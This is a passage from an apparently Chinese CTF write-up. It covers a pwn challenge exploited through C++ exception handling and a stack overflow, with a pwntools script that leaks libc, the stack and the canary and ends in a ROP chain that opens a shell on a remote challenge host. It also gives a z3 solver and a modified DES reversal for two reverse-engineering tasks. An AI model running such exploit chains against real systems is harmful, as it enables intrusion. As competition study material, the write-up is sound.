    libc_addr + 0x0000000000028715, 
    libc_addr + 0x1c041b,
    libc_addr + 0x000000000002a671,
    0,
    libc_addr + 0x0000000000093359,
    0, 0,
    libc_addr + 0x0000000000046663,
    59,
    libc_addr + 0x00000000000942b6,
]
))

sh.interactive()

nception

edit有栈溢出可以控制异常处理,此时可以控制rbp的值。并且在catch块中,0000000000402E2C地址会对rbp的内存有写操作,因此可以该特性修改ptrs的指针低位,使其落于控制位置,这样就能实现任意地址读写。

.text:0000000000402E16 ;   catch(std::exception) // owned by 402DC0
.text:0000000000402E16                 cmp     rdx, 1
.text:0000000000402E1A                 jz      short loc_402E24
.text:0000000000402E1C                 mov     rdi, rax        ; struct _Unwind_Exception *
.text:0000000000402E1F                 call    __Unwind_Resume
.text:0000000000402E24 ; ---------------------------------------------------------------------------
.text:0000000000402E24
.text:0000000000402E24 loc_402E24:                             ; CODE XREF: main+11D↑j
.text:0000000000402E24                 mov     rdi, rax        ; void *
.text:0000000000402E27                 call    ___cxa_begin_catch
.text:0000000000402E2C                 mov     [rbp+e], rax

利用脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')

def add():
    sh.sendlineafter(b'your choice: ', b'1')

def edit(index, offset, content):
    sh.sendlineafter(b'your choice: ', b'2')
    sh.sendlineafter(b'idx: ', str(index).encode())
    sh.sendlineafter(b'offset: ', str(offset).encode())
    sh.sendlineafter(b'data: ', content)

def show(index):
    sh.sendlineafter(b'your choice: ', b'3')
    sh.sendlineafter(b'read?\n', str(index).encode())

def delete(index):
    sh.sendlineafter(b'your choice: ', b'4')
    sh.sendlineafter(b'destroy?\n', str(index).encode())

sh = remote('8.130.35.16', 58000)

add()
add()
add()
add()
add()
add()
add()
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
add()
add()
add()
add()
add()
add()

edit(0, 0x130, p64(0x405FC8))
edit(0, 0x130+8, p32(0x444))

edit(0, 0, cyclic(544) + p64(0x406429+0x18)[:6])
show(6)
sh.recvuntil(b'Data: ')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0xf87d0
success('libc_addr: ' + hex(libc_addr))

edit(0, 0x130, p64(libc_addr + 0x1da321))
edit(0, 0x130+8, p32(0x444))
show(6)
sh.recvuntil(b'Data: ')
stack_addr = u64(sh.recvn(5) + b'\0\0\0') * 0x100

find_stack = False
for i in range(0x18):
    edit(0, 0x130, p64(stack_addr + 0x11 + i * 8))
    edit(0, 0x130+8, p32(0x444))
    show(6)
    sh.recvuntil(b'Data: ')
    result = u64(sh.recvn(5) + b'\0\0\0') * 0x100
    info('result: ' + hex(result))
    if(result == libc_addr + 0x27200):
        stack_addr += 0x10 + i * 8
        success('stack_addr: ' + hex(stack_addr))
        find_stack = True
        break
if find_stack == False:
    raise EOFError("Invailed stack")

edit(0, 0x130, p64(stack_addr - 0x10 + 1))
edit(0, 0x130+8, p32(0x444))
show(6)
sh.recvuntil(b'Data: ')
canary = u64(b'\0' + sh.recvn(7))
success('canary: ' + hex(canary))

edit(0, 0, b'\0' * 0x10 + cyclic(504) + p64(canary) + flat(
[
    0,
    1,
    2,
    libc_addr + 0x0000000000027765,
    libc_addr + 0x196031,
    libc_addr + 0x0000000000028f19,
    0,
    libc_addr + 0x00000000000fdcfd,
    0,
    libc_addr + 0x000000000003f117,
    59,
    libc_addr + 0x0000000000086002,
]
))

sh.interactive()

RE

中文编程1

解个方程

from z3 import *
s=Solver()
v20=[Int(f'inp{i}') for i in range(11)]
num=-1

s.add(v20[num + 1] * 52.0
+ v20[num + 2] * 93.0
+ v20[num + 3] * 15.0
+ v20[num + 4] * 72.0
+ v20[num + 5] * 61.0
+ v20[num + 6] * 21.0
+ v20[num + 7] * 83.0
+ v20[num + 8] * 87.0
+ v20[num + 9] * 75.0
+ v20[num + 10] * 75.0
+ v20[num + 11] * 88.0
- 7.86241466532e11==0)
  
s.add( v20[num + 1] * 24.0
     + v20[num + 2] * 3.0
     + v20[num + 3] * 22.0
     + v20[num + 4] * 53.0
     + v20[num + 5] * 2.0
     + v20[num + 6] * 88.0
     + v20[num + 7] * 30.0
     + v20[num + 8] * 38.0
     + v20[num + 9] * 2.0
     + v20[num + 10] * 64.0
     + v20[num + 11] * 60.0
     - 3.76271212978e11==0)

s.add( v20[num + 1] * 21.0
     + v20[num + 2] * 33.0
     + v20[num + 3] * 76.0
     + v20[num + 4] * 58.0
     + v20[num + 5] * 22.0
     + v20[num + 6] * 89.0
     + v20[num + 7] * 49.0
     + v20[num + 8] * 91.0
     + v20[num + 9] * 59.0
     + v20[num + 10] * 42.0
     + v20[num + 11] * 92.0
     - 6.47642467922e11==0)

s.add( v20[num + 1] * 60.0
     + v20[num + 2] * 80.0
     + v20[num + 3] * 15.0
     + v20[num + 4] * 62.0
     + v20[num + 5] * 62.0
     + v20[num + 6] * 47.0
     + v20[num + 7] * 62.0
     + v20[num + 8] * 51.0
     + v20[num + 9] * 55.0
     + v20[num + 10] * 64.0
     + v20[num + 11] * 3.0
     - 6.70839740597e11==0)

s.add( v20[num + 1] * 51.0
     + v20[num + 2] * 7.0
     + v20[num + 3] * 21.0
     + v20[num + 4] * 73.0
     + v20[num + 5] * 39.0
     + v20[num + 6] * 18.0
     + v20[num + 7] * 4.0
     + v20[num + 8] * 89.0
     + v20[num + 9] * 60.0
     + v20[num + 10] * 14.0
     + v20[num + 11] * 9.0
     - 5.49200140865e11==0)

s.add( v20[num + 1] * 90.0
     + v20[num + 2] * 53.0
     + v20[num + 3] * 2.0
     + v20[num + 4] * 84.0
     + v20[num + 5] * 92.0
     + v20[num + 6] * 60.0
     + v20[num + 7] * 71.0
     + v20[num + 8] * 44.0
     + v20[num + 9] * 8.0
     + v20[num + 10] * 47.0
     + v20[num + 11] * 35.0
     - 6.6473011328e11==0)

s.add( v20[num + 1] * 78.0
     + v20[num + 2] * 81.0
     + v20[num + 3] * 36.0
     + v20[num + 4] * 50.0
     + v20[num + 5] * 4.0
     + v20[num + 6] * 2.0
     + v20[num + 7] * 6.0
     + v20[num + 8] * 54.0
     + v20[num + 9] * 4.0
     + v20[num + 10] * 54.0
     + v20[num + 11] * 93.0
     - 4.76762422687e11==0)

s.add( v20[num + 1] * 63.0
     + v20[num + 2] * 18.0
     + v20[num + 3] * 90.0
     + v20[num + 4] * 44.0
     + v20[num + 5] * 34.0
     + v20[num + 6] * 74.0
     + v20[num + 7] * 62.0
     + v20[num + 8] * 14.0
     + v20[num + 9] * 95.0
     + v20[num + 10] * 48.0
     + v20[num + 11] * 15.0
     - 6.44352175854e11==0)

s.add( v20[num + 1] * 72.0
      + v20[num + 2] * 78.0
      + v20[num + 3] * 87.0
      + v20[num + 4] * 62.0
      + v20[num + 5] * 40.0
      + v20[num + 6] * 85.0
      + v20[num + 7] * 80.0
      + v20[num + 8] * 82.0
      + v20[num + 9] * 53.0
      + v20[num + 10] * 24.0
      + v20[num + 11] * 26.0
      - 7.87224288556e11==0)

s.add( v20[num + 1] * 89.0
      + v20[num + 2] * 60.0
      + v20[num + 3] * 41.0
      + v20[num + 4] * 29.0
      + v20[num + 5] * 15.0
      + v20[num + 6] * 45.0
      + v20[num + 7] * 65.0
      + v20[num + 8] * 89.0
      + v20[num + 9] * 71.0
      + v20[num + 10] * 9.0
      + v20[num + 11] * 88.0
      - 6.67891172792e11==0)

s.add( v20[num + 1]
      + v20[num + 2] * 8.0
      + v20[num + 3] * 88.0
      + v20[num + 4] * 63.0
      + v20[num + 5] * 11.0
      + v20[num + 6] * 81.0
      + v20[num + 7] * 8.0
      + v20[num + 8] * 35.0
      + v20[num + 9] * 35.0
      + v20[num + 10] * 33.0
      + v20[num + 11] * 5.0
      - 4.17587420064e11==0)
if s.check()==sat:
   m=s.model()
   inp=[Int(f'inp{i}') for i in range(11)]
   for i in inp:
     print(hex(m[i].as_long()),end=',')
print()
enc=[0x67616c66,0x3135317b,0x33316537,0x65612d35,0x342d6361,0x2d653231,0x34656639,0x6331392d,0x63323064,0x39323838,0x7d30,]
import struct
for i in range(len(enc)):
    x=struct.pack('<I',enc[i])
    print(x.decode(),end='')
#0x67616c66,0x3135317b,0x33316537,0x65612d35,0x342d6361,0x2d653231,0x34656639,0x6331392d,0x63323064,0x39323838,0x7d30,
#flag{1517e135-aeac-412e-9fe4-91cd02c88290}

中文编程2

节区名改回去后 UPX 解一下搜字符串找到对应函数,大致流程是 RC4+DES+RC4,但是 des 的部分有过魔改,不是很完整,根据逻辑手动还原一下算法然后写个逆:

#include <stddef.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#define DES_ENCRYPT     1
#define DES_DECRYPT     0

#define ERR_DES_INVALID_INPUT_LENGTH              -0x0032  /**< The data input has an invalid length. */

#define DES_KEY_SIZE         (8)  
#define DES3_KEY2_SIZE       (16)  
#define DES3_KEY3_SIZE       (24) 

typedef struct
{
    uint32_t sk[32];            /*!<  DES subkeys       */
}des_context;

/**
 * \brief          Triple-DES context structure
 */
typedef struct
{
    uint32_t sk[96];            /*!<  3DES subkeys      */
}des3_context;

#define DES_C

#if defined(DES_C)


#if !defined(DES_ALT)

/* Implementation that should never be optimized out by the compiler */
static void zeroize(void* v, size_t n) {
    volatile unsigned char* p = (unsigned char*)v; while (n--) *p++ = 0;
}

/*
 * 32-bit integer manipulation macros (big endian)
 */
#ifndef GET_UINT32_BE
#define GET_UINT32_BE(n,b,i)                            \
{                                                       \
    (n) = ( (uint32_t) (b)[(i)    ] << 24 )             \
        | ( (uint32_t) (b)[(i) + 1] << 16 )             \
        | ( (uint32_t) (b)[(i) + 2] <<  8 )             \
        | ( (uint32_t) (b)[(i) + 3]       );            \
}
#endif

#ifndef PUT_UINT32_BE
#define PUT_UINT32_BE(n,b,i)                            \
{                                                       \
    (b)[(i)    ] = (unsigned char) ( (n) >> 24 );       \
    (b)[(i) + 1] = (unsigned char) ( (n) >> 16 );       \
    (b)[(i) + 2] = (unsigned char) ( (n) >>  8 );       \
    (b)[(i) + 3] = (unsigned char) ( (n)       );       \
}
#endif

 /*
  * Expanded DES S-boxes
  */
static const uint32_t SB1[64] =
{
    0x01010400, 0x00000000, 0x00010000, 0x01010404,
    0x01010004, 0x00010404, 0x00000004, 0x00010000,
    0x00000400, 0x01010400, 0x01010404, 0x00000400,
    0x01000404, 0x01010004, 0x01000000, 0x00000004,
    0x00000404, 0x01000400, 0x01000400, 0x00010400,
    0x00010400, 0x01010000, 0x01010000, 0x01000404,
    0x00010004, 0x01000004, 0x01000004, 0x00010004,
    0x00000000, 0x00000404, 0x00010404, 0x01000000,
    0x00010000, 0x01010404, 0x00000004, 0x01010000,
    0x01010400, 0x01000000, 0x01000000, 0x00000400,
    0x01010004, 0x00010000, 0x00010400, 0x01000004,
    0x00000400, 0x00000004, 0x01000404, 0x00010404,
    0x01010404, 0x00010004, 0x01010000, 0x01000404,
    0x01000004, 0x00000404, 0x00010404, 0x01010400,
    0x00000404, 0x01000400, 0x01000400, 0x00000000,
    0x00010004, 0x00010400, 0x00000000, 0x01010004
};

static const uint32_t SB2[64] =
{
    0x80108020, 0x80008000, 0x00008000, 0x00108020,
    0x00100000, 0x00000020, 0x80100020, 0x80008020,
    0x80000020, 0x80108020, 0x80108000, 0x80000000,
    0x80008000, 0x00100000, 0x00000020, 0x80100020,
    0x00108000, 0x00100020, 0x80008020, 0x00000000,
    0x80000000, 0x00008000, 0x00108020, 0x80100000,
    0x00100020, 0x80000020, 0x00000000, 0x00108000,
    0x00008020, 0x80108000, 0x80100000, 0x00008020,
    0x00000000, 0x00108020, 0x80100020, 0x00100000,
    0x80008020, 0x80100000, 0x80108000, 0x00008000,
    0x80100000, 0x80008000, 0x00000020, 0x80108020,
    0x00108020, 0x00000020, 0x00008000, 0x80000000,
    0x00008020, 0x80108000, 0x00100000, 0x80000020,
    0x00100020, 0x80008020, 0x80000020, 0x00100020,
    0x00108000, 0x00000000, 0x80008000, 0x00008020,
    0x80000000, 0x80100020, 0x80108020, 0x00108000
};

static const uint32_t SB3[64] =
{
    0x00000208, 0x08020200, 0x00000000, 0x08020008,
    0x08000200, 0x00000000, 0x00020208, 0x08000200,
    0x00020008, 0x08000008, 0x08000008, 0x00020000,
    0x08020208, 0x00020008, 0x08020000, 0x00000208,
    0x08000000, 0x00000008, 0x08020200, 0x00000200,
    0x00020200, 0x08020000, 0x08020008, 0x00020208,
    0x08000208, 0x00020200, 0x00020000, 0x08000208,
    0x00000008, 0x08020208, 0x00000200, 0x08000000,
    0x08020200, 0x08000000, 0x00020008, 0x00000208,
    0x00020000, 0x08020200, 0x08000200, 0x00000000,
    0x00000200, 0x00020008, 0x08020208, 0x08000200,
    0x08000008, 0x00000200, 0x00000000, 0x08020008,
    0x08000208, 0x00020000, 0x08000000, 0x08020208,
    0x00000008, 0x00020208, 0x00020200, 0x08000008,
    0x08020000, 0x08000208, 0x00000208, 0x08020000,
    0x00020208, 0x00000008, 0x08020008, 0x00020200
};

static const uint32_t SB4[64] =
{
    0x00802001, 0x00002081, 0x00002081, 0x00000080,
    0x00802080, 0x00800081, 0x00800001, 0x00002001,
    0x00000000, 0x00802000, 0x00802000, 0x00802081,
    0x00000081, 0x00000000, 0x00800080, 0x00800001,
    0x00000001, 0x00002000, 0x00800000, 0x00802001,
    0x00000080, 0x00800000, 0x00002001, 0x00002080,
    0x00800081, 0x00000001, 0x00002080, 0x00800080,
    0x00002000, 0x00802080, 0x00802081, 0x00000081,
    0x00800080, 0x00800001, 0x00802000, 0x00802081,
    0x00000081, 0x00000000, 0x00000000, 0x00802000,
    0x00002080, 0x00800080, 0x00800081, 0x00000001,
    0x00802001, 0x00002081, 0x00002081, 0x00000080,
    0x00802081, 0x00000081, 0x00000001, 0x00002000,
    0x00800001, 0x00002001, 0x00802080, 0x00800081,
    0x00002001, 0x00002080, 0x00800000, 0x00802001,
    0x00000080, 0x00800000, 0x00002000, 0x00802080
};

static const uint32_t SB5[64] =
{
    0x00000100, 0x02080100, 0x02080000, 0x42000100,
    0x00080000, 0x00000100, 0x40000000, 0x02080000,
    0x40080100, 0x00080000, 0x02000100, 0x40080100,
    0x42000100, 0x42080000, 0x00080100, 0x40000000,
    0x02000000, 0x40080000, 0x40080000, 0x00000000,
    0x40000100, 0x42080100, 0x42080100, 0x02000100,
    0x42080000, 0x40000100, 0x00000000, 0x42000000,
    0x02080100, 0x02000000, 0x42000000, 0x00080100,
    0x00080000, 0x42000100, 0x00000100, 0x02000000,
    0x40000000, 0x02080000, 0x42000100, 0x40080100,
    0x02000100, 0x40000000, 0x42080000, 0x02080100,
    0x40080100, 0x00000100, 0x02000000, 0x42080000,
    0x42080100, 0x00080100, 0x42000000, 0x42080100,
    0x02080000, 0x00000000, 0x40080000, 0x42000000,
    0x00080100, 0x02000100, 0x40000100, 0x00080000,
    0x00000000, 0x40080000, 0x02080100, 0x40000100
};

static const uint32_t SB6[64] =
{
    0x20000010, 0x20400000, 0x00004000, 0x20404010,
    0x20400000, 0x00000010, 0x20404010, 0x00400000,
    0x20004000, 0x00404010, 0x00400000, 0x20000010,
    0x00400010, 0x20004000, 0x20000000, 0x00004010,
    0x00000000, 0x00400010, 0x20004010, 0x00004000,
    0x00404000, 0x20004010, 0x00000010, 0x20400010,
    0x20400010, 0x00000000, 0x00404010, 0x20404000,
    0x00004010, 0x00404000, 0x20404000, 0x20000000,
    0x20004000, 0x00000010, 0x20400010, 0x00404000,
    0x20404010, 0x00400000, 0x00004010, 0x20000010,
    0x00400000, 0x20004000, 0x20000000, 0x00004010,
    0x20000010, 0x20404010, 0x00404000, 0x20400000,
    0x00404010, 0x20404000, 0x00000000, 0x20400010,
    0x00000010, 0x00004000, 0x20400000, 0x00404010,
    0x00004000, 0x00400010, 0x20004010, 0x00000000,
    0x20404000, 0x20000000, 0x00400010, 0x20004010
};

static const uint32_t SB7[64] =
{
    0x00200000, 0x04200002, 0x04000802, 0x00000000,
    0x00000800, 0x04000802, 0x00200802, 0x04200800,
    0x04200802, 0x00200000, 0x00000000, 0x04000002,
    0x00000002, 0x04000000, 0x04200002, 0x00000802,
    0x04000800, 0x00200802, 0x00200002, 0x04000800,
    0x04000002, 0x04200000, 0x04200800, 0x00200002,
    0x04200000, 0x00000800, 0x00000802, 0x04200802,
    0x00200800, 0x00000002, 0x04000000, 0x00200800,
    0x04000000, 0x00200800, 0x00200000, 0x04000802,
    0x04000802, 0x04200002, 0x04200002, 0x00000002,
    0x00200002, 0x04000000, 0x04000800, 0x00200000,
    0x04200800, 0x00000802, 0x00200802, 0x04200800,
    0x00000802, 0x04000002, 0x04200802, 0x04200000,
    0x00200800, 0x00000000, 0x00000002, 0x04200802,
    0x00000000, 0x00200802, 0x04200000, 0x00000800,
    0x04000002, 0x04000800, 0x00000800, 0x00200002
};

static const uint32_t SB8[64] =
{
    0x10001040, 0x00001000, 0x00040000, 0x10041040,
    0x10000000, 0x10001040, 0x00000040, 0x10000000,
    0x00040040, 0x10040000, 0x10041040, 0x00041000,
    0x10041000, 0x00041040, 0x00001000, 0x00000040,
    0x10040000, 0x10000040, 0x10001000, 0x00001040,
    0x00041000, 0x00040040, 0x10040040, 0x10041000,
    0x00001040, 0x00000000, 0x00000000, 0x10040040,
    0x10000040, 0x10001000, 0x00041040, 0x00040000,
    0x00041040, 0x00040000, 0x10041000, 0x00001000,
    0x00000040, 0x10040040, 0x00001000, 0x00041040,
    0x10001000, 0x00000040, 0x10000040, 0x10040000,
    0x10040040, 0x10000000, 0x00040000, 0x10001040,
    0x00000000, 0x10041040, 0x00040040, 0x10000040,
    0x10040000, 0x10001000, 0x10001040, 0x00000000,
    0x10041040, 0x00041000, 0x00041000, 0x00001040,
    0x00001040, 0x00040040, 0x10000000, 0x10041000
};

/*
 * PC1: left and right halves bit-swap
 */
static const uint32_t LHs[16] =
{
    0x00000000, 0x00000001, 0x00000100, 0x00000101,
    0x00010000, 0x00010001, 0x00010100, 0x00010101,
    0x01000000, 0x01000001, 0x01000100, 0x01000101,
    0x01010000, 0x01010001, 0x01010100, 0x01010101
};

static const uint32_t RHs[16] =
{
    0x00000000, 0x01000000, 0x00010000, 0x01010000,
    0x00000100, 0x01000100, 0x00010100, 0x01010100,
    0x00000001, 0x01000001, 0x00010001, 0x01010001,
    0x00000101, 0x01000101, 0x00010101, 0x01010101,
};

/*
 * Initial Permutation macro
 */
#define DES_IP(X,Y)                                             \
{                                                               \
    T = ((X >>  4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T <<  4);   \
    T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16);   \
    T = ((Y >>  2) ^ X) & 0x33333333; X ^= T; Y ^= (T <<  2);   \
    T = ((Y >>  8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T <<  8);   \
    Y = ((Y << 1) | (Y >> 31)) & 0xFFFFFFFF;                    \
    T = (X ^ Y) & 0xAAAAAAAA; Y ^= T; X ^= T;                   \
    X = ((X << 1) | (X >> 31)) & 0xFFFFFFFF;                    \
}

 /*
  * Final Permutation macro
  */
#define DES_FP(X,Y)                                             \
{                                                               \
    X = ((X << 31) | (X >> 1)) & 0xFFFFFFFF;                    \
    T = (X ^ Y) & 0xAAAAAAAA; X ^= T; Y ^= T;                   \
    Y = ((Y << 31) | (Y >> 1)) & 0xFFFFFFFF;                    \
    T = ((Y >>  8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T <<  8);   \
    T = ((Y >>  2) ^ X) & 0x33333333; X ^= T; Y ^= (T <<  2);   \
    T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16);   \
    T = ((X >>  4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T <<  4);   \
}

  /*
   * DES round macro
   */

#define DES_ROUND_dec(X,Y)                          \
{                                               \
    T = *SK-- ^ X;         \
    printf("%x\n",T);\
    Y ^= SB8[ (T      ) & 0x3F ] |              \
         SB6[ (T >>  8) & 0x3F ] |              \
         SB4[ (T >> 16) & 0x3F ] |              \
         SB2[ (T >> 24) & 0x3F ];               \
    T = *SK-- ^ ((X << 28) | (X >> 4));         \
    printf("%x\n",T);\
    Y ^= SB7[ (T      ) & 0x3F ] |              \
         SB5[ (T >>  8) & 0x3F ] |              \
         SB3[ (T >> 16) & 0x3F ] |              \
         SB1[ (T >> 24) & 0x3F ];               \
}

#define SWAP(a,b) { uint32_t t = a; a = b; b = t; t = 0; }

void des_init(des_context* ctx)
{
    memset(ctx, 0, sizeof(des_context));
}

void des_free(des_context* ctx)
{
    if (ctx == NULL)
        return;

    zeroize(ctx, sizeof(des_context));
}

void des3_init(des3_context* ctx)
{
    memset(ctx, 0, sizeof(des3_context));
}

void des3_free(des3_context* ctx)
{
    if (ctx == NULL)
        return;

    zeroize(ctx, sizeof(des3_context));
}

static const unsigned char odd_parity_table[128] = { 1,  2,  4,  7,  8,
        11, 13, 14, 16, 19, 21, 22, 25, 26, 28, 31, 32, 35, 37, 38, 41, 42, 44,
        47, 49, 50, 52, 55, 56, 59, 61, 62, 64, 67, 69, 70, 73, 74, 76, 79, 81,
        82, 84, 87, 88, 91, 93, 94, 97, 98, 100, 103, 104, 107, 109, 110, 112,
        115, 117, 118, 121, 122, 124, 127, 128, 131, 133, 134, 137, 138, 140,
        143, 145, 146, 148, 151, 152, 155, 157, 158, 161, 162, 164, 167, 168,
        171, 173, 174, 176, 179, 181, 182, 185, 186, 188, 191, 193, 194, 196,
        199, 200, 203, 205, 206, 208, 211, 213, 214, 217, 218, 220, 223, 224,
        227, 229, 230, 233, 234, 236, 239, 241, 242, 244, 247, 248, 251, 253,
        254 };

void des_key_set_parity(unsigned char key[DES_KEY_SIZE])
{
    int i;

    for (i = 0; i < DES_KEY_SIZE; i++)
        key[i] = odd_parity_table[key[i] / 2];
}

/*
 * Check the given key's parity, returns 1 on failure, 0 on SUCCESS
 */
int des_key_check_key_parity(const unsigned char key[DES_KEY_SIZE])
{
    int i;

    for (i = 0; i < DES_KEY_SIZE; i++)
        if (key[i] != odd_parity_table[key[i] / 2])
            return(1);

    return(0);
}

/*
 * Table of weak and semi-weak keys
 *
 * Source: http://en.wikipedia.org/wiki/Weak_key
 *
 * Weak:
 * Alternating ones + zeros (0x0101010101010101)
 * Alternating 'F' + 'E' (0xFEFEFEFEFEFEFEFE)
 * '0xE0E0E0E0F1F1F1F1'
 * '0x1F1F1F1F0E0E0E0E'
 *
 * Semi-weak:
 * 0x011F011F010E010E and 0x1F011F010E010E01
 * 0x01E001E001F101F1 and 0xE001E001F101F101
 * 0x01FE01FE01FE01FE and 0xFE01FE01FE01FE01
 * 0x1FE01FE00EF10EF1 and 0xE01FE01FF10EF10E
 * 0x1FFE1FFE0EFE0EFE and 0xFE1FFE1FFE0EFE0E
 * 0xE0FEE0FEF1FEF1FE and 0xFEE0FEE0FEF1FEF1
 *
 */

#define WEAK_KEY_COUNT 16

static const unsigned char weak_key_table[WEAK_KEY_COUNT][DES_KEY_SIZE] =
{
    { 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01 },
    { 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE },
    { 0x1F, 0x1F, 0x1F, 0x1F, 0x0E, 0x0E, 0x0E, 0x0E },
    { 0xE0, 0xE0, 0xE0, 0xE0, 0xF1, 0xF1, 0xF1, 0xF1 },

    { 0x01, 0x1F, 0x01, 0x1F, 0x01, 0x0E, 0x01, 0x0E },
    { 0x1F, 0x01, 0x1F, 0x01, 0x0E, 0x01, 0x0E, 0x01 },
    { 0x01, 0xE0, 0x01, 0xE0, 0x01, 0xF1, 0x01, 0xF1 },
    { 0xE0, 0x01, 0xE0, 0x01, 0xF1, 0x01, 0xF1, 0x01 },
    { 0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE },
    { 0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01 },
    { 0x1F, 0xE0, 0x1F, 0xE0, 0x0E, 0xF1, 0x0E, 0xF1 },
    { 0xE0, 0x1F, 0xE0, 0x1F, 0xF1, 0x0E, 0xF1, 0x0E },
    { 0x1F, 0xFE, 0x1F, 0xFE, 0x0E, 0xFE, 0x0E, 0xFE },
    { 0xFE, 0x1F, 0xFE, 0x1F, 0xFE, 0x0E, 0xFE, 0x0E },
    { 0xE0, 0xFE, 0xE0, 0xFE, 0xF1, 0xFE, 0xF1, 0xFE },
    { 0xFE, 0xE0, 0xFE, 0xE0, 0xFE, 0xF1, 0xFE, 0xF1 }
};

int des_key_check_weak(const unsigned char key[DES_KEY_SIZE])
{
    int i;

    for (i = 0; i < WEAK_KEY_COUNT; i++)
        if (memcmp(weak_key_table[i], key, DES_KEY_SIZE) == 0)
            return(1);

    return(0);
}


void des_setkey(uint32_t SK[32], const unsigned char key[DES_KEY_SIZE])
{
    int i;
    uint32_t X, Y, T;

    GET_UINT32_BE(X, key, 0);
    GET_UINT32_BE(Y, key, 4);

    /*
     * Permuted Choice 1
     */
    T = ((Y >> 4) ^ X) & 0x0F0F0F0F;  X ^= T; Y ^= (T << 4);
    T = ((Y) ^ X) & 0x10101010;  X ^= T; Y ^= (T);

    X = (LHs[(X) & 0xF] << 3) | (LHs[(X >> 8) & 0xF] << 2)
        | (LHs[(X >> 16) & 0xF] << 1) | (LHs[(X >> 24) & 0xF])
        | (LHs[(X >> 5) & 0xF] << 7) | (LHs[(X >> 13) & 0xF] << 6)
        | (LHs[(X >> 21) & 0xF] << 5) | (LHs[(X >> 29) & 0xF] << 4);

    Y = (RHs[(Y >> 1) & 0xF] << 3) | (RHs[(Y >> 9) & 0xF] << 2)
        | (RHs[(Y >> 17) & 0xF] << 1) | (RHs[(Y >> 25) & 0xF])
        | (RHs[(Y >> 4) & 0xF] << 7) | (RHs[(Y >> 12) & 0xF] << 6)
        | (RHs[(Y >> 20) & 0xF] << 5) | (RHs[(Y >> 28) & 0xF] << 4);

    X &= 0x0FFFFFFF;
    Y &= 0x0FFFFFFF;

    /*
     * calculate subkeys
     */
    for (i = 0; i < 16; i++)
    {
        if (i < 2 || i == 8 || i == 15)
        {
            X = ((X << 1) | (X >> 27)) & 0x0FFFFFFF;
            Y = ((Y << 1) | (Y >> 27)) & 0x0FFFFFFF;
        }
        else
        {
            X = ((X << 2) | (X >> 26)) & 0x0FFFFFFF;
            Y = ((Y << 2) | (Y >> 26)) & 0x0FFFFFFF;
        }

        *SK++ = ((X << 4) & 0x24000000) | ((X << 28) & 0x10000000)
            | ((X << 14) & 0x08000000) | ((X << 18) & 0x02080000)
            | ((X << 6) & 0x01000000) | ((X << 9) & 0x00200000)
            | ((X >> 1) & 0x00100000) | ((X << 10) & 0x00040000)
            | ((X << 2) & 0x00020000) | ((X >> 10) & 0x00010000)
            | ((Y >> 13) & 0x00002000) | ((Y >> 4) & 0x00001000)
            | ((Y << 6) & 0x00000800) | ((Y >> 1) & 0x00000400)
            | ((Y >> 14) & 0x00000200) | ((Y) & 0x00000100)
            | ((Y >> 5) & 0x00000020) | ((Y >> 10) & 0x00000010)
            | ((Y >> 3) & 0x00000008) | ((Y >> 18) & 0x00000004)
            | ((Y >> 26) & 0x00000002) | ((Y >> 24) & 0x00000001);

        *SK++ = ((X << 15) & 0x20000000) | ((X << 17) & 0x10000000)
            | ((X << 10) & 0x08000000) | ((X << 22) & 0x04000000)
            | ((X >> 2) & 0x02000000) | ((X << 1) & 0x01000000)
            | ((X << 16) & 0x00200000) | ((X << 11) & 0x00100000)
            | ((X << 3) & 0x00080000) | ((X >> 6) & 0x00040000)
            | ((X << 15) & 0x00020000) | ((X >> 4) & 0x00010000)
            | ((Y >> 2) & 0x00002000) | ((Y << 8) & 0x00001000)
            | ((Y >> 14) & 0x00000808) | ((Y >> 9) & 0x00000400)
            | ((Y) & 0x00000200) | ((Y << 7) & 0x00000100)
            | ((Y >> 7) & 0x00000020) | ((Y >> 3) & 0x00000011)
            | ((Y << 2) & 0x00000004) | ((Y >> 21) & 0x00000002);
    }
}


/*
 * DES key schedule (56-bit, encryption)
 */
int des_setkey_enc(des_context* ctx, const unsigned char key[DES_KEY_SIZE])
{
    des_setkey(ctx->sk, key);

    return(0);
}

/*
 * DES key schedule (56-bit, decryption)
 */
int des_setkey_dec(des_context* ctx, const unsigned char key[DES_KEY_SIZE])
{
    int i;

    des_setkey(ctx->sk, key);

    for (i = 0; i < 16; i += 2)
    {
        SWAP(ctx->sk[i], ctx->sk[30 - i]);
        SWAP(ctx->sk[i + 1], ctx->sk[31 - i]);
    }

    return(0);
}

static void des3_set2key(uint32_t esk[96],
    uint32_t dsk[96],
    const unsigned char key[DES_KEY_SIZE * 2])
{
    int i;

    des_setkey(esk, key);
    des_setkey(dsk + 32, key + 8);

    for (i = 0; i < 32; i += 2)
    {
        dsk[i] = esk[30 - i];
        dsk[i + 1] = esk[31 - i];

        esk[i + 32] = dsk[62 - i];
        esk[i + 33] = dsk[63 - i];

        esk[i + 64] = esk[i];
        esk[i + 65] = esk[i + 1];

        dsk[i + 64] = dsk[i];
        dsk[i + 65] = dsk[i + 1];
    }
}

/*
 * Triple-DES key schedule (112-bit, encryption)
 */
int des3_set2key_enc(des3_context* ctx,
    const unsigned char key[DES_KEY_SIZE * 2])
{
    uint32_t sk[96];

    des3_set2key(ctx->sk, sk, key);
    zeroize(sk, sizeof(sk));

    return(0);
}

/*
 * Triple-DES key schedule (112-bit, decryption)
 */
int des3_set2key_dec(des3_context* ctx,
    const unsigned char key[DES_KEY_SIZE * 2])
{
    uint32_t sk[96];

    des3_set2key(sk, ctx->sk, key);
    zeroize(sk, sizeof(sk));

    return(0);
}

static void des3_set3key(uint32_t esk[96],
